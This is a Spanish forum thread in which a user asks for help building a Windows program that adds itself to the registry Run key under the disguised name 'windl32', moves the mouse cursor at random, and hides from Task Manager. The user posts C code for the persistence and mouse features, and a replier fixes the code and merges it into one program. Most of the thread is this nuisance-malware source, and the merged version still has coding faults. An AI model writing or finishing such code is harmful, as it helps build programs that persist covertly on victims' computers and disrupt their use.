Estoy creando un programa en Dev C++ que tienes estas funciones pero hay un problema :-\,
-
Que se agregue al registro -
Mueva el raton aleatoriamente -
Ocultarse del administrador de tareas -
i otras funciones que tengoDe momento tengo el codigo de agregarse al registro:
Citar#include <windows.h>
int main()
{
HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\windl32.exe",sizeof"I:\windl32.exe");
RegCloseKey(hkey);
}
Y el de mover la rata
Citar#include <windows.h>
int main()
{
FreeConsole();
srand(GetTickCount());
int nWidth = GetSystemMetrics(SM_CXSCREEN) - 1;
int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1;
while(!GetAsyncKeyState(VK_F8)){
SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1);
Sleep(5);
}
return 0;
}
Al momento de juntar estas dos funciones pues me tira un error de compilación, ya llevo varios dias buscando y no logro encontrar esta solucion....
Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso
Cita de: ankora45 en 18 Septiembre 2012, 20:07 PM
Sinceramente creo que estan bien pero si utilizas dev-c++ pasate a code::blocks ya que usa un compilador diferente perop no me hagas muxo caso
El dev-c++ usa el compilador de borland, y el code::blocks el mingw, que es una adaptacion del gcc a windows, segun tengo entendido. Eso por defecto claro, supongo que ambos se pueden configurar. En cuanto a la pregunta del tema, yo no la voy a responder porque no entiendo de la API de windows, pero te aconsejo que pongas la salida del compilador, asi seguramente te contestara mas gente.
Saludos.
PD: Dev-c++ es un proyecto abandonado.
Acabo de incluirlo en un archivo,compilarlo y ejecutarlo, funciona, aunque habia un error.
Compilando con GCC :
ERROR: Aviso; secuencia de escape desconocida '\w' en la linea 61
el problema estaba en que en el programa original estas usando I:\windl32.exe, y hay que
utilizar la doble barra I:\\windl32.exe
#include <windows.h>
int main()
{
RegFuncion();
SaltaRaton();
}
RegFuncion(void)
{
HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"windl32",0,REG_SZ,(const unsigned char*)"I:\\windl32.exe",sizeof"I:\\windl32.exe");
RegCloseKey(hkey);
return;
}
SaltaRaton(void)
{
FreeConsole();
srand(GetTickCount());
int nWidth = GetSystemMetrics(SM_CXSCREEN) - 1;
int nHeight = GetSystemMetrics(SM_CYSCREEN) - 1;
while(!GetAsyncKeyState(VK_F8)){
SetCursorPos((rand() % nWidth) + 1, (rand() % nHeight) + 1);
Sleep(5);
}
}